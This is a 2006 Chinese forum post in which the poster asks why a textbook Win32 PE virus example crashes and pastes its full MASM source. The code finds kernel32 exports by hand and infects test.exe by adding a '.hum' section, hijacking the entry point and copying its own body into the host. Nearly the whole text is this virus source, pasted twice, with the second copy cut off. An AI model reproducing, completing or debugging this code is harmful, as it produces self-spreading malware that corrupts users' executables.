-
-
有个病毒的示例程序,能生成.exe文件,不过运行出错,请教高手为什么出错
-
发表于: 2006-6-14 13:23 5435
-
病毒程序是《Win32PE病毒原理分析》里面的示例程序,在masmV8下面可以生成.exe文件,(我用的是V8,别的我不知道能不能生成,没尝试过)
代码由4个文件组成,我帖上来(我还不能附加文件,抱歉)
主文件:VirusExp.asm
;========================================================================================
;《Win32PE病毒原理分析》例子程序
; 2006-06-14
;========================================================================================
.586
.model flat, stdcall
option casemap :none
include ..\INCLUDE\WINDOWS.INC
include ..\INCLUDE\comctl32.inc
includelib ..\LIB\comctl32.lib
GetApiA proto :DWORD,:DWORD
.CODE
;---------- 程序入口 --------------------------------------------------------------------
_Start0:
invoke InitCommonControls ;此处在win2000下必须加入
jmp _Start
VirusLen = vEnd - vBegin ;Virus长度
;---------- 病毒代码开始位置,从这里到v_End的部分会附加在HOST程序中 -
vBegin:
include s_api.asm ;查找需要的api地址
;---------- 以下为数据定义 ------------------------------------------
desfile db "test.exe",0
fsize dd ? ;
hFile dd ? ;
hMap dd ? ;
pMem dd ? ;
pe_Header dd ? ;
sec_align dd ? ;
file_align dd ? ;
newEip dd ? ;
oldEip dd ? ;
inc_size dd ? ;
oldEnd dd ? ;
;---------- 定义MessageBoxA函数名称及函数地址存放位置 ---------------
sMessageBoxA db "MessageBoxA",0
aMessageBoxA dd 0
;---------- 作者定义的提示信息... -----------------------------------
sztit db "By Hume,2002",0
szMsg0 db "Hey,Hope U enjoy it!",0
CopyRight db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah
db "Thx for using it!",0dh,0ah
db "Contact: Humewen@21cn.com",0dh,0ah
db "humeasm.yeah.net",0dh,0ah
db "The add Code SiZe:(heX)"
val dd 0,0,0,0
;---------- 病毒真正入口位置 ----------------------------------------
_Start:
;地址重定位值的获取
call _delta
_delta:
pop ebp ;得到delta地址
sub ebp,offset _delta ;以便于后面变量重定位
mov dword ptr [ebp+appBase],ebp ;在appBase保存重定位值
;获取kernel32模块地址
mov eax,[esp]
xor edx,edx
getK32Base:
dec eax ;逐字节比较验证,速度比较慢,不过功能一样
mov dx,word ptr [eax+IMAGE_DOS_HEADER.e_lfanew] ;就是ecx+3ch,找PE头的地址
test dx,0f000h ;假如找到了eax为kernel32模块的头地址,那么dx为文件的首地址
;那么根据PE文件被装入内存时是按内存页对齐的这一特性
;如果这个地址是页的其始地址,就进行下步判断
;如果不是,那么这个地址就肯定不是PE文件的起始地址
;一个页为4KB,就是说PE起始地址应该为XXXXX000的格式
jnz getK32Base
;mov edx,dword ptr [eax+edx+34h];---
cmp eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
;cmp eax,edx;---
jnz getK32Base ;看Image_Base(模块的建议装入地址)值是否等于ecx,即模块起始值
;这里判断kernel32模块的实际装入地址与PE头结构中的建议装入地址相等,就认为找到模块
mov [ebp+k32Base],eax ;保存kernel32的起始地址
;循环读取各个api地址
lea edi,[ebp+aGetModuleHandle] ;edi指向API函数地址存放位置的起始
lea esi,[ebp+lpApiAddrs] ;esi指向API函数名字串偏移的起始地址
lop_get:
lodsd ;读取esi指向的函数名
cmp eax,0 ;判断函数是否搜索完毕
jz End_Get
add eax,ebp
push eax ;此时eax中放着GetModuleHandleA函数名字串的偏移位置
push dword ptr [ebp+k32Base]
call GetApiA
stosd ;将地址存到edi指向区域
jmp lop_get
End_Get:
call my_infect ;获得各API函数地址后,开始调用感染模块
include dislen.asm ;该文件中代码用来显示病毒文件的长度
CouldNotInfect:
_where:
xor eax,eax
push eax
call [ebp+aGetModuleHandle] ;获得本启动(或HOST)程序的加载模块
mov esi,eax
add esi,[esi+3ch] ;esi->程序本身的Pe_header
cmp dword ptr [esi+8],'dark' ;判断是已经正在运行的HOST程序,还是启动程序?
je jmp_oep ;是HOST程序,控制权交给HOST
jmp _xit ;调用启动程序的退出部分语句
jmp_oep:
add eax,[ebp+oldEip]
jmp eax ;跳到宿主程序的入口点
;--------------------------------------------------------------------
;感染部分,文件读写操作,Pe文件修改参见modipe.asm文件
my_infect:
;打开目标文件
xor eax,eax
push eax
push eax
push OPEN_EXISTING ;OPEN_EXISTING equ 3
push eax
push eax
push GENERIC_READ+GENERIC_WRITE ;GENERIC_READ equ 80000000h
;GENERIC_WRITE equ 40000000h
lea eax,[ebp+desfile] ;目标文件文件名字串偏移地址
push eax
call [ebp+aCreateFile] ;打开目标文件
inc eax ;如返回-1,则表示失败
je _Err
dec eax
mov [ebp+hFile],eax ;返回文件句柄
;获取目标文件大小
push eax
sub ebx,ebx
push ebx
push eax
call [ebp+aGetFileSize] ;得到文件大小
inc eax ;如返回-1,则表示失败
je _sclosefile
dec eax
mov [ebp+fsize],eax
;创建映像文件
xchg eax,ecx ;ecx为文件大小
add ecx,1000h ;文件大小增加4096bytes
pop eax ;获取文件句柄
xor ebx,ebx
push ebx ;在CreateFileMapping函数的参数定义中,这个应该是映像文件名指针
push ecx ;映像文件大小等于原大小+Vsize,如果这里为0,那么大小和原文件相等
push ebx
push PAGE_READWRITE
push ebx
push eax ;原文件句柄
call [ebp+aCreateFileMapping]
test eax,eax ;如返回0则说明出错
je _sclosefile ;创建不成功,则跳转
mov [ebp+hMap],eax ;保存映射对象句柄
xor ebx,ebx
push ebx
push ebx
push ebx
push FILE_MAP_WRITE
push eax
call [ebp+aMapViewOfFile]
test eax,eax ; 映射文件,是否成功?
je _sclosemap ;返回0说明函数调用失败
mov [ebp+pMem],eax ;保存内存映射文件首地址
;--------------------------------------------------------------------
;modipe.asm是给HOST添加新节的代码
;该文件中主要为感染目标文件的代码
;--------------------------------------------------------------------
include modipe.asm
_sunview:
push [ebp+pMem]
call [ebp+aUnmapViewOfFile] ;解除映射,同时修改过的映射文件全部写回目标文件
_sclosemap:
push [ebp+hMap]
call [ebp+aCloseHandle] ;关闭映射
_sclosefile:
push [ebp+hFile]
call [ebp+aCloseHandle] ;关闭打开的目标文件
_Err:
ret
;--------------------------------------------------------------------
_xit:
push 0
call [ebp+aExitProcess] ;退出启动程序
vEnd:
end _Start0
;========================================================================================
;s_api.asm start
;s_api.asm主要是查找api的相关函数模块,其代码如下:
;手动查找api部分
;K32_api_retrieve 过程的Base是DLL的基址,sApi为相应的API函数的函数名地址
;该过程返回eax为该API函数的序号
K32_api_retrieve proc Base:DWORD,sApi:DWORD
push edx
xor eax,eax ;eax用来充当循环记数,记录大循环(以api函数为记数单位)
Next_Api:
mov esi,sApi
xor edx,edx ;edx也用来充当循环记数,记录小循环(以api函数中的字母为记数单位)
dec edx
Match_Api_name:
movzx ebx,byte ptr [esi] ;自己的函数名的第一个字母
inc esi ;自己的函数名地址+1(指向第二个字母)
cmp ebx,0 ;是否已经比较到自己所定义的函数名结尾(以0表示结尾)
je foundit ;若是,则认为找到
inc edx ;
push eax ;将这个api函数的数组序号入栈
mov eax,[edi+eax*4] ;edi是AddressOfNames的首指针+eax*4(eax为序号,而每个地址单元是4个字节存放)
add eax,Base ;注意是RVA,一定要加Base值(这个才是真正的系统函数名起始地址)
cmp bl,byte ptr [eax+edx] ;逐字符比较
pop eax
je Match_Api_name ;继续搜寻
inc eax ;不匹配,下一个api
loop Next_Api
no_exist:
pop edx ;若全部搜完,即未存在
xor eax,eax
ret
foundit:
pop edx ;edx=AddressOfNameOrdinals
movzx eax,word ptr [edx+eax*2] ;eax是函数名所对应的在AddressOfNameOrdinals的索引值
;AddressOfNameOrdinals指定的数组是word类型,所以eax*2
ret
K32_api_retrieve endp
;--------------------------------------------------------------------
;Base是DLL的基址
;sApi为相应的API函数的函数名地址
;返回eax指向API函数地址
GetApiA proc Base:DWORD, sApi:DWORD
local ADDRofFun:DWORD
pushad
mov esi,Base
mov eax,esi
mov ebx,eax
mov ecx,eax
mov edx,eax
mov edi,eax ;几个寄存器全部置为DLL基址
add ecx,[ecx+3ch] ;现在esi=off PE_HEADER
add esi,[ecx+78h] ;得到esi=IMAGE_EXPORT_DIRECTORY引出表入口
add eax,[esi+1ch] ;eax=AddressOfFunctions的地址
mov ADDRofFun,eax
mov ecx,[esi+18h] ;ecx=NumberOfNames
add edx,[esi+24h] ;edx=AddressOfNameOrdinals
add edi,[esi+20h] ;esi=AddressOfNames
;调用另外一个过程,得到一个API函数序号
invoke K32_api_retrieve,Base,sApi
mov ebx,ADDRofFun
mov eax,[ebx+eax*4] ;要*4才得到偏移
add eax,Base ;加上Base
mov [esp+7*4],eax ;eax返回api地址 ;??????????
popad
ret
GetApiA endp
u32 db "User32.dll",0
k32 db "Kernel32.dll",0
appBase dd ?
k32Base dd ?
;---------- 以下是有关API函数地址和名称的相关数据定义 ---------------
lpApiAddrs label near
;定义一组指向函数名字字符串偏移地址的数组
dd offset sGetModuleHandle
dd offset sGetProcAddress
dd offset sLoadLibrary
dd offset sCreateFile
dd offset sCreateFileMapping
dd offset sMapViewOfFile
dd offset sUnmapViewOfFile
dd offset sCloseHandle
dd offset sGetFileSize
dd offset sSetEndOfFile
dd offset sSetFilePointer
dd offset sExitProcess
dd 0,0 ;以便判断函数是否处理完毕
;下面定义函数名字符串,以便于和引出函数表中的相关字段进行比较
sGetModuleHandle db "GetModuleHandleA",0
sGetProcAddress db "GetProcAddress",0
sLoadLibrary db "LoadLibraryA",0
sCreateFile db "CreateFileA",0
sCreateFileMapping db "CreateFileMappingA",0
sMapViewOfFile db "MapViewOfFile",0
sUnmapViewOfFile db "UnmapViewOfFile",0
sCloseHandle db "CloseHandle",0
sGetFileSize db "GetFileSize",0
sSetFilePointer db "SetFilePointer",0
sSetEndOfFile db "SetEndOfFile",0
sExitProcess db "ExitProcess",0
;找到相应API函数地址后的存放位置
aGetModuleHandle dd 0
aGetProcAddress dd 0
aLoadLibrary dd 0
aCreateFile dd 0
aCreateFileMapping dd 0
aMapViewOfFile dd 0
aUnmapViewOfFile dd 0
aCloseHandle dd 0
aGetFileSize dd 0
aSetFilePointer dd 0
aSetEndOfFile dd 0
aExitProcess dd 0
;s_api.asm end
;========================================================================================
;========================================================================================
;modipe.asm start
;用来在HOST程序中添加一个病毒节
;修改pe,添加节,实现传染功能
xchg eax,esi ;eax为在内存映射文件中的起始地址,它指向文件的开始位置
cmp word ptr [esi],'ZM'
jne CouldNotInfect
add esi,[esi+3ch] ;指向PE_HEADER
cmp word ptr [esi],'EP'
jne CouldNotInfect ;是否是PE,否则不感染
cmp dword ptr [esi+8],'dark' ;已经感染,跳转
je CouldNotInfect
;计算内存映射文件中节表的最后位置(也就是要添加新节表的开始位置)
mov [ebp+pe_Header],esi ;保存pe_Header指针
mov ecx,[esi+74h] ;得到directory的数目
imul ecx,ecx,8 ;每个数据目录信息占8个字节
lea eax,[ecx+esi+78h] ;eax=节表起始地址(数据目录占用的字节数+PE文件的起始地址+Directory的偏移地址=节表起始位置)
movzx ecx,word ptr [esi+6h] ;节数目
imul ecx,ecx,28h ;得到所有节表的大小(每个节表占用的字节数28H)
add eax,ecx ;节表结尾
xchg eax,esi ;eax=Pe_Header,esi=节表最后位置(一般来说并节的开始偏移,节具体的内容由节表中的节RVA指定 )
;**************************
;添加如下节:
;name .hum
;VirtualSize==原size+VirSize
;VirtualAddress=
;SizeOfRawData 对齐
;PointerToRawData
;PointerToRelocations dd 0
;PointerToLinenumbers dd ?
;NumberOfRelocations dw ?
;NumberOfLinenumbers dw ?
;Characteristics dd ?
;**************************
mov dword ptr [esi],'muh.' ;节名.hum
mov dword ptr [esi+08h],VirusLen ;节的实际大小
;计算VirtualSize和V.addr
mov ebx,[eax+38h]
mov [ebp+sec_align],ebx ;节对齐,在内存中节的对齐粒度
mov edi,[eax+3ch]
mov [ebp+file_align],edi ;文件对齐,在文件中节的对齐粒度
mov ecx,[esi-28h+0ch] ;上一节的V.addr,在节表结构中0ch处定义了节区的RVA地址
mov eax,[esi-28h+08h] ;上一节的实际大小
xor edx,edx
div ebx ;除以节对齐(eax/ebx,eax=商,edx=余数)
test edx,edx ;若刚好除尽就不用+1了,若未除尽,那么剩下的内容还需要占用一个对齐粒度的容量
je @@@1
inc eax
@@@1:
mul ebx ;上一节在内存中对齐后的节大小(eax*ebx,eax=积)
add eax,ecx ;加上上一节的V.addr就是新节的起始V.addr
mov [esi+0ch],eax ;保存新节偏移RVA,这里的esi就意味着新节表的开头了
add eax,_Start - vBegin ;病毒第一行执行代码,并不是在病毒节的起始处
mov [ebp+newEip],eax ;计算新的程序入口点(病毒程序入口点)
mov dword ptr [esi+24h],0E0000020h ;节属性
mov eax,VirusLen ;计算SizeOfRawData的大小
cdq ;
div edi ;计算本节的文件对齐
je @@@2
inc eax
@@@2:
mul edi
mov dword ptr [esi+10h],eax ;保存节对齐文件后的大小
mov eax,[esi-28h+14h] ;
add eax,[esi-28h+10h] ;上节在文件中偏移的值+上节文件中对齐后的尺寸
mov [esi+14h],eax ;本节表中(病毒节)PointerToRawData更新
mov [ebp+oldEnd],eax ;病毒代码往HOST文件中的写入点...;??????????????????????????????
mov eax,[ebp+pe_Header]
inc word ptr [eax+6h] ;更新节数目
mov ebx,[eax+28h] ;获取老的程序执行入口RVA
mov [ebp+oldEip],ebx ;保存老的程序入口
mov ebx,[ebp+newEip] ;就是取出原来保存的病毒程序执行开始点
mov [eax+28h],ebx ;将程序执行点改到病毒程序入口点
;更新ImageSize
mov ebx,[eax+50h]
add ebx,VirusLen
mov ecx,[ebp+sec_align]
xor edx,edx
xchg eax,ebx
cdq
div ecx
test edx,edx
je @@@3
inc eax
@@@3:
mul ecx
xchg eax,ebx ;还原 eax->pe_Header
mov [eax+50h],ebx ;保更新后的Image_Size大小=(原Image_size+病毒长度)对齐后的长度
mov dword ptr [eax+8],'dark' ;病毒感染标志直接写到被感染文件的PE头中
cld
mov ecx,VirusLen
mov edi,[ebp+oldEnd]
add edi,[ebp+pMem]
lea esi,[ebp+vBegin]
rep movsb ;将病毒代码写入目标文件新建的节中
xor eax,eax
sub edi,[ebp+pMem]
push FILE_BEGIN
push eax
push edi
push [ebp+hFile]
call [ebp+aSetFilePointer] ;设定文件读写指针
push [ebp+hFile]
call [ebp+aSetEndOfFile] ;将当前文件位置设为文件末尾
;modipe.asm end
;========================================================================================
;========================================================================================
;disLen.asm start
;用来显示前面定义的提示信息,其中包括病毒体的大小
lea eax,[ebp+u32]
push eax
call dword ptr [ebp+aLoadLibrary] ;导入user32.dll链接库
test eax,eax
jnz @g1
@g1:
lea edx,[ebp+sMessageBoxA]
push edx
push eax
mov eax,dword ptr [ebp+aGetProcAddress] ;获取MessageBoxA函数的地址
call eax
mov [ebp+aMessageBoxA],eax
;--------------------------------------------------------------------
mov ebx,VirusLen
mov ecx,8
cld
lea edi,[ebp+val]
L1:
rol ebx,4
call binToAscii
loop L1
push 40h+1000h
lea eax,[ebp+sztit]
push eax
lea eax,[ebp+CopyRight]
push eax
push 0
call [ebp+aMessageBoxA]
jmp _where
;--------------------------------------------------------------------
binToAscii proc near ;此函数用来将二进制转换为字符
mov eax,ebx
and eax,0fh
add al,30h
cmp al,39h
jbe @f
add al,7
@@:
stosb
ret
binToAscii endp
;disLen.asm start
;========================================================================================
但是生成的.exe文件运行时候,会出错,弹出对话框提示为
Unhandled exception in VirusExp.exe : 0xC0000005 : Access Violatoin
我在机器上装了vc,跳出一个调试界面,指向当前运行语句为 7C921230 INT 3
请高手帮帮忙啊
代码由4个文件组成,我帖上来(我还不能附加文件,抱歉)
主文件:VirusExp.asm
;========================================================================================
;《Win32PE病毒原理分析》例子程序
; 2006-06-14
;========================================================================================
.586
.model flat, stdcall
option casemap :none
include ..\INCLUDE\WINDOWS.INC
include ..\INCLUDE\comctl32.inc
includelib ..\LIB\comctl32.lib
GetApiA proto :DWORD,:DWORD
.CODE
;---------- 程序入口 --------------------------------------------------------------------
_Start0:
invoke InitCommonControls ;此处在win2000下必须加入
jmp _Start
VirusLen = vEnd - vBegin ;Virus长度
;---------- 病毒代码开始位置,从这里到v_End的部分会附加在HOST程序中 -
vBegin:
include s_api.asm ;查找需要的api地址
;---------- 以下为数据定义 ------------------------------------------
desfile db "test.exe",0
fsize dd ? ;
hFile dd ? ;
hMap dd ? ;
pMem dd ? ;
pe_Header dd ? ;
sec_align dd ? ;
file_align dd ? ;
newEip dd ? ;
oldEip dd ? ;
inc_size dd ? ;
oldEnd dd ? ;
;---------- 定义MessageBoxA函数名称及函数地址存放位置 ---------------
sMessageBoxA db "MessageBoxA",0
aMessageBoxA dd 0
;---------- 作者定义的提示信息... -----------------------------------
sztit db "By Hume,2002",0
szMsg0 db "Hey,Hope U enjoy it!",0
CopyRight db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah
db "Thx for using it!",0dh,0ah
db "Contact: Humewen@21cn.com",0dh,0ah
db "humeasm.yeah.net",0dh,0ah
db "The add Code SiZe:(heX)"
val dd 0,0,0,0
;---------- 病毒真正入口位置 ----------------------------------------
_Start:
;地址重定位值的获取
call _delta
_delta:
pop ebp ;得到delta地址
sub ebp,offset _delta ;以便于后面变量重定位
mov dword ptr [ebp+appBase],ebp ;在appBase保存重定位值
;获取kernel32模块地址
mov eax,[esp]
xor edx,edx
getK32Base:
dec eax ;逐字节比较验证,速度比较慢,不过功能一样
mov dx,word ptr [eax+IMAGE_DOS_HEADER.e_lfanew] ;就是ecx+3ch,找PE头的地址
test dx,0f000h ;假如找到了eax为kernel32模块的头地址,那么dx为文件的首地址
;那么根据PE文件被装入内存时是按内存页对齐的这一特性
;如果这个地址是页的其始地址,就进行下步判断
;如果不是,那么这个地址就肯定不是PE文件的起始地址
;一个页为4KB,就是说PE起始地址应该为XXXXX000的格式
jnz getK32Base
;mov edx,dword ptr [eax+edx+34h];---
cmp eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]
;cmp eax,edx;---
jnz getK32Base ;看Image_Base(模块的建议装入地址)值是否等于ecx,即模块起始值
;这里判断kernel32模块的实际装入地址与PE头结构中的建议装入地址相等,就认为找到模块
mov [ebp+k32Base],eax ;保存kernel32的起始地址
;循环读取各个api地址
lea edi,[ebp+aGetModuleHandle] ;edi指向API函数地址存放位置的起始
lea esi,[ebp+lpApiAddrs] ;esi指向API函数名字串偏移的起始地址
lop_get:
lodsd ;读取esi指向的函数名
cmp eax,0 ;判断函数是否搜索完毕
jz End_Get
add eax,ebp
push eax ;此时eax中放着GetModuleHandleA函数名字串的偏移位置
push dword ptr [ebp+k32Base]
call GetApiA
stosd ;将地址存到edi指向区域
jmp lop_get
End_Get:
call my_infect ;获得各API函数地址后,开始调用感染模块
include dislen.asm ;该文件中代码用来显示病毒文件的长度
CouldNotInfect:
_where:
xor eax,eax
push eax
call [ebp+aGetModuleHandle] ;获得本启动(或HOST)程序的加载模块
mov esi,eax
add esi,[esi+3ch] ;esi->程序本身的Pe_header
cmp dword ptr [esi+8],'dark' ;判断是已经正在运行的HOST程序,还是启动程序?
je jmp_oep ;是HOST程序,控制权交给HOST
jmp _xit ;调用启动程序的退出部分语句
jmp_oep:
add eax,[ebp+oldEip]
jmp eax ;跳到宿主程序的入口点
;--------------------------------------------------------------------
;感染部分,文件读写操作,Pe文件修改参见modipe.asm文件
my_infect:
;打开目标文件
xor eax,eax
push eax
push eax
push OPEN_EXISTING ;OPEN_EXISTING equ 3
push eax
push eax
push GENERIC_READ+GENERIC_WRITE ;GENERIC_READ equ 80000000h
;GENERIC_WRITE equ 40000000h
lea eax,[ebp+desfile] ;目标文件文件名字串偏移地址
push eax
call [ebp+aCreateFile] ;打开目标文件
inc eax ;如返回-1,则表示失败
je _Err
dec eax
mov [ebp+hFile],eax ;返回文件句柄
;获取目标文件大小
push eax
sub ebx,ebx
push ebx
push eax
call [ebp+aGetFileSize] ;得到文件大小
inc eax ;如返回-1,则表示失败
je _sclosefile
dec eax
mov [ebp+fsize],eax
;创建映像文件
xchg eax,ecx ;ecx为文件大小
add ecx,1000h ;文件大小增加4096bytes
pop eax ;获取文件句柄
xor ebx,ebx
push ebx ;在CreateFileMapping函数的参数定义中,这个应该是映像文件名指针
push ecx ;映像文件大小等于原大小+Vsize,如果这里为0,那么大小和原文件相等
push ebx
push PAGE_READWRITE
push ebx
push eax ;原文件句柄
call [ebp+aCreateFileMapping]
test eax,eax ;如返回0则说明出错
je _sclosefile ;创建不成功,则跳转
mov [ebp+hMap],eax ;保存映射对象句柄
xor ebx,ebx
push ebx
push ebx
push ebx
push FILE_MAP_WRITE
push eax
call [ebp+aMapViewOfFile]
test eax,eax ; 映射文件,是否成功?
je _sclosemap ;返回0说明函数调用失败
mov [ebp+pMem],eax ;保存内存映射文件首地址
;--------------------------------------------------------------------
;modipe.asm是给HOST添加新节的代码
;该文件中主要为感染目标文件的代码
;--------------------------------------------------------------------
include modipe.asm
_sunview:
push [ebp+pMem]
call [ebp+aUnmapViewOfFile] ;解除映射,同时修改过的映射文件全部写回目标文件
_sclosemap:
push [ebp+hMap]
call [ebp+aCloseHandle] ;关闭映射
_sclosefile:
push [ebp+hFile]
call [ebp+aCloseHandle] ;关闭打开的目标文件
_Err:
ret
;--------------------------------------------------------------------
_xit:
push 0
call [ebp+aExitProcess] ;退出启动程序
vEnd:
end _Start0
;========================================================================================
;s_api.asm start
;s_api.asm主要是查找api的相关函数模块,其代码如下:
;手动查找api部分
;K32_api_retrieve 过程的Base是DLL的基址,sApi为相应的API函数的函数名地址
;该过程返回eax为该API函数的序号
K32_api_retrieve proc Base:DWORD,sApi:DWORD
push edx
xor eax,eax ;eax用来充当循环记数,记录大循环(以api函数为记数单位)
Next_Api:
mov esi,sApi
xor edx,edx ;edx也用来充当循环记数,记录小循环(以api函数中的字母为记数单位)
dec edx
Match_Api_name:
movzx ebx,byte ptr [esi] ;自己的函数名的第一个字母
inc esi ;自己的函数名地址+1(指向第二个字母)
cmp ebx,0 ;是否已经比较到自己所定义的函数名结尾(以0表示结尾)
je foundit ;若是,则认为找到
inc edx ;
push eax ;将这个api函数的数组序号入栈
mov eax,[edi+eax*4] ;edi是AddressOfNames的首指针+eax*4(eax为序号,而每个地址单元是4个字节存放)
add eax,Base ;注意是RVA,一定要加Base值(这个才是真正的系统函数名起始地址)
cmp bl,byte ptr [eax+edx] ;逐字符比较
pop eax
je Match_Api_name ;继续搜寻
inc eax ;不匹配,下一个api
loop Next_Api
no_exist:
pop edx ;若全部搜完,即未存在
xor eax,eax
ret
foundit:
pop edx ;edx=AddressOfNameOrdinals
movzx eax,word ptr [edx+eax*2] ;eax是函数名所对应的在AddressOfNameOrdinals的索引值
;AddressOfNameOrdinals指定的数组是word类型,所以eax*2
ret
K32_api_retrieve endp
;--------------------------------------------------------------------
;Base是DLL的基址
;sApi为相应的API函数的函数名地址
;返回eax指向API函数地址
GetApiA proc Base:DWORD, sApi:DWORD
local ADDRofFun:DWORD
pushad
mov esi,Base
mov eax,esi
mov ebx,eax
mov ecx,eax
mov edx,eax
mov edi,eax ;几个寄存器全部置为DLL基址
add ecx,[ecx+3ch] ;现在esi=off PE_HEADER
add esi,[ecx+78h] ;得到esi=IMAGE_EXPORT_DIRECTORY引出表入口
add eax,[esi+1ch] ;eax=AddressOfFunctions的地址
mov ADDRofFun,eax
mov ecx,[esi+18h] ;ecx=NumberOfNames
add edx,[esi+24h] ;edx=AddressOfNameOrdinals
add edi,[esi+20h] ;esi=AddressOfNames
;调用另外一个过程,得到一个API函数序号
invoke K32_api_retrieve,Base,sApi
mov ebx,ADDRofFun
mov eax,[ebx+eax*4] ;要*4才得到偏移
add eax,Base ;加上Base
mov [esp+7*4],eax ;eax返回api地址 ;??????????
popad
ret
GetApiA endp
u32 db "User32.dll",0
k32 db "Kernel32.dll",0
appBase dd ?
k32Base dd ?
;---------- 以下是有关API函数地址和名称的相关数据定义 ---------------
lpApiAddrs label near
;定义一组指向函数名字字符串偏移地址的数组
dd offset sGetModuleHandle
dd offset sGetProcAddress
dd offset sLoadLibrary
dd offset sCreateFile
dd offset sCreateFileMapping
dd offset sMapViewOfFile
dd offset sUnmapViewOfFile
dd offset sCloseHandle
dd offset sGetFileSize
dd offset sSetEndOfFile
dd offset sSetFilePointer
dd offset sExitProcess
dd 0,0 ;以便判断函数是否处理完毕
;下面定义函数名字符串,以便于和引出函数表中的相关字段进行比较
sGetModuleHandle db "GetModuleHandleA",0
sGetProcAddress db "GetProcAddress",0
sLoadLibrary db "LoadLibraryA",0
sCreateFile db "CreateFileA",0
sCreateFileMapping db "CreateFileMappingA",0
sMapViewOfFile db "MapViewOfFile",0
sUnmapViewOfFile db "UnmapViewOfFile",0
sCloseHandle db "CloseHandle",0
sGetFileSize db "GetFileSize",0
sSetFilePointer db "SetFilePointer",0
sSetEndOfFile db "SetEndOfFile",0
sExitProcess db "ExitProcess",0
;找到相应API函数地址后的存放位置
aGetModuleHandle dd 0
aGetProcAddress dd 0
aLoadLibrary dd 0
aCreateFile dd 0
aCreateFileMapping dd 0
aMapViewOfFile dd 0
aUnmapViewOfFile dd 0
aCloseHandle dd 0
aGetFileSize dd 0
aSetFilePointer dd 0
aSetEndOfFile dd 0
aExitProcess dd 0
;s_api.asm end
;========================================================================================
;========================================================================================
;modipe.asm start
;用来在HOST程序中添加一个病毒节
;修改pe,添加节,实现传染功能
xchg eax,esi ;eax为在内存映射文件中的起始地址,它指向文件的开始位置
cmp word ptr [esi],'ZM'
jne CouldNotInfect
add esi,[esi+3ch] ;指向PE_HEADER
cmp word ptr [esi],'EP'
jne CouldNotInfect ;是否是PE,否则不感染
cmp dword ptr [esi+8],'dark' ;已经感染,跳转
je CouldNotInfect
;计算内存映射文件中节表的最后位置(也就是要添加新节表的开始位置)
mov [ebp+pe_Header],esi ;保存pe_Header指针
mov ecx,[esi+74h] ;得到directory的数目
imul ecx,ecx,8 ;每个数据目录信息占8个字节
lea eax,[ecx+esi+78h] ;eax=节表起始地址(数据目录占用的字节数+PE文件的起始地址+Directory的偏移地址=节表起始位置)
movzx ecx,word ptr [esi+6h] ;节数目
imul ecx,ecx,28h ;得到所有节表的大小(每个节表占用的字节数28H)
add eax,ecx ;节表结尾
xchg eax,esi ;eax=Pe_Header,esi=节表最后位置(一般来说并节的开始偏移,节具体的内容由节表中的节RVA指定 )
;**************************
;添加如下节:
;name .hum
;VirtualSize==原size+VirSize
;VirtualAddress=
;SizeOfRawData 对齐
;PointerToRawData
;PointerToRelocations dd 0
;PointerToLinenumbers dd ?
;NumberOfRelocations dw ?
;NumberOfLinenumbers dw ?
;Characteristics dd ?
;**************************
mov dword ptr [esi],'muh.' ;节名.hum
mov dword ptr [esi+08h],VirusLen ;节的实际大小
;计算VirtualSize和V.addr
mov ebx,[eax+38h]
mov [ebp+sec_align],ebx ;节对齐,在内存中节的对齐粒度
mov edi,[eax+3ch]
mov [ebp+file_align],edi ;文件对齐,在文件中节的对齐粒度
mov ecx,[esi-28h+0ch] ;上一节的V.addr,在节表结构中0ch处定义了节区的RVA地址
mov eax,[esi-28h+08h] ;上一节的实际大小
xor edx,edx
div ebx ;除以节对齐(eax/ebx,eax=商,edx=余数)
test edx,edx ;若刚好除尽就不用+1了,若未除尽,那么剩下的内容还需要占用一个对齐粒度的容量
je @@@1
inc eax
@@@1:
mul ebx ;上一节在内存中对齐后的节大小(eax*ebx,eax=积)
add eax,ecx ;加上上一节的V.addr就是新节的起始V.addr
mov [esi+0ch],eax ;保存新节偏移RVA,这里的esi就意味着新节表的开头了
add eax,_Start - vBegin ;病毒第一行执行代码,并不是在病毒节的起始处
mov [ebp+newEip],eax ;计算新的程序入口点(病毒程序入口点)
mov dword ptr [esi+24h],0E0000020h ;节属性
mov eax,VirusLen ;计算SizeOfRawData的大小
cdq ;
div edi ;计算本节的文件对齐
je @@@2
inc eax
@@@2:
mul edi
mov dword ptr [esi+10h],eax ;保存节对齐文件后的大小
mov eax,[esi-28h+14h] ;
add eax,[esi-28h+10h] ;上节在文件中偏移的值+上节文件中对齐后的尺寸
mov [esi+14h],eax ;本节表中(病毒节)PointerToRawData更新
mov [ebp+oldEnd],eax ;病毒代码往HOST文件中的写入点...;??????????????????????????????
mov eax,[ebp+pe_Header]
inc word ptr [eax+6h] ;更新节数目
mov ebx,[eax+28h] ;获取老的程序执行入口RVA
mov [ebp+oldEip],ebx ;保存老的程序入口
mov ebx,[ebp+newEip] ;就是取出原来保存的病毒程序执行开始点
mov [eax+28h],ebx ;将程序执行点改到病毒程序入口点
;更新ImageSize
mov ebx,[eax+50h]
add ebx,VirusLen
mov ecx,[ebp+sec_align]
xor edx,edx
xchg eax,ebx
cdq
div ecx
test edx,edx
je @@@3
inc eax
@@@3:
mul ecx
xchg eax,ebx ;还原 eax->pe_Header
mov [eax+50h],ebx ;保更新后的Image_Size大小=(原Image_size+病毒长度)对齐后的长度
mov dword ptr [eax+8],'dark' ;病毒感染标志直接写到被感染文件的PE头中
cld
mov ecx,VirusLen
mov edi,[ebp+oldEnd]
add edi,[ebp+pMem]
lea esi,[ebp+vBegin]
rep movsb ;将病毒代码写入目标文件新建的节中
xor eax,eax
sub edi,[ebp+pMem]
push FILE_BEGIN
push eax
push edi
push [ebp+hFile]
call [ebp+aSetFilePointer] ;设定文件读写指针
push [ebp+hFile]
call [ebp+aSetEndOfFile] ;将当前文件位置设为文件末尾
;modipe.asm end
;========================================================================================
;========================================================================================
;disLen.asm start
;用来显示前面定义的提示信息,其中包括病毒体的大小
lea eax,[ebp+u32]
push eax
call dword ptr [ebp+aLoadLibrary] ;导入user32.dll链接库
test eax,eax
jnz @g1
@g1:
lea edx,[ebp+sMessageBoxA]
push edx
push eax
mov eax,dword ptr [ebp+aGetProcAddress] ;获取MessageBoxA函数的地址
call eax
mov [ebp+aMessageBoxA],eax
;--------------------------------------------------------------------
mov ebx,VirusLen
mov ecx,8
cld
lea edi,[ebp+val]
L1:
rol ebx,4
